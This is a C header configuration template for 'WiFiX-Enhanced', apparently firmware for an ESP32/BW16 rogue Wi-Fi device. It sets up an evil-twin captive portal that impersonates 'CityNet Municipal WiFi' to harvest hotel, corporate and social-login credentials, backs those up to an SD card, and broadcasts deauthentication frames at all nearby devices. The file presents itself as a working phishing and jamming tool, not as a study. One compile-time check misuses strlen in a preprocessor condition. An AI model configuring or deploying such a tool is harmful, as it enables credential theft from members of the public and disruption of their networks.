/** * WiFiX-Enhanced Configuration Template * * Copy this file to config.h and modify values as needed * This file contains all configurable parameters for the system */ #ifndef CONFIG_H #define CONFIG_H // ============================================================================= // DEVICE CONFIGURATION // ============================================================================= // Device identification #define DEVICE_NAME "WiFiX_Enhanced" #define DEVICE_VERSION "1.2.0" #define HARDWARE_ID "BW16_ESP32" // Operational modes #define MODE_CAPTIVE_PORTAL 0 #define MODE_DEAUTH_ONLY 1 #define MODE_EVIL_TWIN 2 #define OPERATING_MODE MODE_CAPTIVE_PORTAL // ============================================================================= // NETWORK CONFIGURATION // ============================================================================= // WiFi Access Point settings #define DEFAULT_SSID "CityNet_Public_WiFi" #define DEFAULT_PASSWORD "" // Empty for open network #define HIDDEN_NETWORK false #define MAX_CLIENTS 8 // Network addressing #define AP_IP_ADDR "192.168.4.1" #define AP_GATEWAY "192.168.4.1" #define AP_SUBNET "255.255.255.0" #define DHCP_START "192.168.4.10" #define DHCP_END "192.168.4.50" // Web server configuration #define WEB_SERVER_PORT 80 #define DNS_PORT 53 #define CAPTIVE_PORTAL_DOMAIN "wifi.citynet.local" #define REDIRECT_URL "http://192.168.4.1" // ============================================================================= // HARDWARE PIN CONFIGURATION // ============================================================================= // I2C for OLED display #define I2C_SDA 21 #define I2C_SCL 22 #define OLED_ADDRESS 0x3C #define OLED_RESET -1 // Not used for SSD1306 // SPI for SD card #define SD_CARD_CS_PIN 5 #define SD_CARD_MOSI 23 #define SD_CARD_MISO 19 #define SD_CARD_CLK 18 // UART for BW16 communication #define BW16_UART_TX 17 #define BW16_UART_RX 16 #define BW16_BAUD_RATE 115200 // Status LED (if available) #define STATUS_LED_PIN 2 #define LED_ACTIVE_HIGH true // ============================================================================= // FEATURE TOGGLES // ============================================================================= #define ENABLE_SD_CARD true #define ENABLE_OLED_DISPLAY true #define ENABLE_SERIAL_DEBUG true #define ENABLE_WEB_INTERFACE true #define ENABLE_DNS_REDIRECT true #define ENABLE_DEAUTHENTICATION true #define ENABLE_CREDENTIAL_BACKUP true #define ENABLE_AUTO_BACKUP true // ============================================================================= // CREDENTIAL MANAGEMENT // ============================================================================= // Storage limits #define MAX_CREDENTIALS 100 #define CREDENTIAL_ENCRYPTION true #define ENCRYPTION_KEY "WiFiX2024SecureKey!" // Change this! // Backup configuration #define BACKUP_TO_SD true #define BACKUP_INTERVAL_MINUTES 5 #define MAX_BACKUP_FILES 10 #define BACKUP_FILE_PREFIX "credentials_" // Credential types #define CRED_TYPE_GENERIC 0 #define CRED_TYPE_HOTEL 1 #define CRED_TYPE_CORPORATE 2 #define CRED_TYPE_PUBLIC 3 #define CRED_TYPE_SOCIAL 4 // ============================================================================= // DEAUTHENTICATION SETTINGS // ============================================================================= #define DEAUTH_CHANNEL_HOP true #define DEAUTH_INTERVAL_MS 100 #define DEAUTH_MAX_RETRIES 3 #define DEAUTH_TARGETED_ONLY false // If true, only target specific MACs #define DEAUTH_WHITELIST_SIZE 10 // Target MAC addresses (if DEAUTH_TARGETED_ONLY is true) const char* TARGET_MACS[] = { "FF:FF:FF:FF:FF:FF", // Broadcast (all devices) "", // Add specific MACs here "", "", "" }; // ============================================================================= // WEB INTERFACE SETTINGS // ============================================================================= // Portal realism #define PORTAL_COMPANY_NAME "CityNet Municipal WiFi" #define PORTAL_LOGO_URL "/logo.png" #define PORTAL_BACKGROUND_URL "/background.jpg" #define SESSION_TIMEOUT_MINUTES 120 #define ENABLE_SOCIAL_LOGIN true #define ENABLE_TERMS_ACCEPTANCE true // Form validation #define MIN_PASSWORD_LENGTH 6 #define REQUIRE_EMAIL_VALIDATION true #define ENABLE_RATE_LIMITING true #define MAX_LOGIN_ATTEMPTS 3 // ============================================================================= // SECURITY SETTINGS // ============================================================================= // Encryption and hashing #define USE_HTTPS false // Not recommended for captive portals #define HASH_ALGORITHM "SHA256" #define SALT_LENGTH 16 // Access control #define ENABLE_PASSWORD_PROTECTION false #define ADMIN_PASSWORD "admin123" // Change this! #define ENABLE_REMOTE_ACCESS false #define ALLOWED_IPS {"192.168.4.2"} // Admin IP // ============================================================================= // DEBUGGING AND LOGGING // ============================================================================= #define DEBUG_LEVEL 2 // 0=None, 1=Error, 2=Info, 3=Debug #define ENABLE_SERIAL_LOG true #define ENABLE_SD_LOG true #define LOG_FILE_PREFIX "log_" #define MAX_LOG_FILES 5 // Debug output macros #if DEBUG_LEVEL >= 3 #define DEBUG_PRINT(x) Serial.print(x) #define DEBUG_PRINTLN(x) Serial.println(x) #define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__) #elif DEBUG_LEVEL >= 2 #define DEBUG_PRINT(x) #define DEBUG_PRINTLN(x) Serial.println(x) #define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__) #elif DEBUG_LEVEL >= 1 #define DEBUG_PRINT(x) #define DEBUG_PRINTLN(x) #define DEBUG_PRINTF(x, ...) #else #define DEBUG_PRINT(x) #define DEBUG_PRINTLN(x) #define DEBUG_PRINTF(x, ...) #endif // ============================================================================= // PERFORMANCE SETTINGS // ============================================================================= // Memory management #define ENABLE_MEMORY_MONITORING true #define MEMORY_WARNING_THRESHOLD 80 // Percentage #define ENABLE_AUTO_RESTART true #define RESTART_INTERVAL_HOURS 24 // Timing #define LOOP_DELAY_MS 10 #define WIFI_SCAN_INTERVAL_MS 5000 #define CLIENT_CHECK_INTERVAL_MS 1000 #define CREDENTIAL_SAVE_DELAY_MS 100 // ============================================================================= // ADVANCED SETTINGS // ============================================================================= // Over-the-air updates (ESP32 only) #define ENABLE_OTA_UPDATES true #define OTA_PASSWORD "ota_update_2024" // Change this! #define OTA_PORT 8266 // MQTT integration (optional) #define ENABLE_MQTT false #define MQTT_SERVER "192.168.1.100" #define MQTT_PORT 1883 #define MQTT_USER "" #define MQTT_PASSWORD "" #define MQTT_TOPIC_PREFIX "wifix" // Custom HTML/CSS/JS injection #define ENABLE_CUSTOM_STYLING false #define CUSTOM_CSS_FILE "/custom.css" #define CUSTOM_JS_FILE "/custom.js" // ============================================================================= // VALIDATION AND SANITY CHECKS // ============================================================================= // Ensure critical settings are valid #if MAX_CREDENTIALS > 500 #error "MAX_CREDENTIALS too high for available memory" #endif #if !defined(ENCRYPTION_KEY) || strlen(ENCRYPTION_KEY) < 16 #error "ENCRYPTION_KEY must be at least 16 characters" #endif #if ENABLE_OTA_UPDATES && !defined(OTA_PASSWORD) #error "OTA_PASSWORD must be defined if OTA updates are enabled" #endif // ============================================================================= #endif // CONFIG_H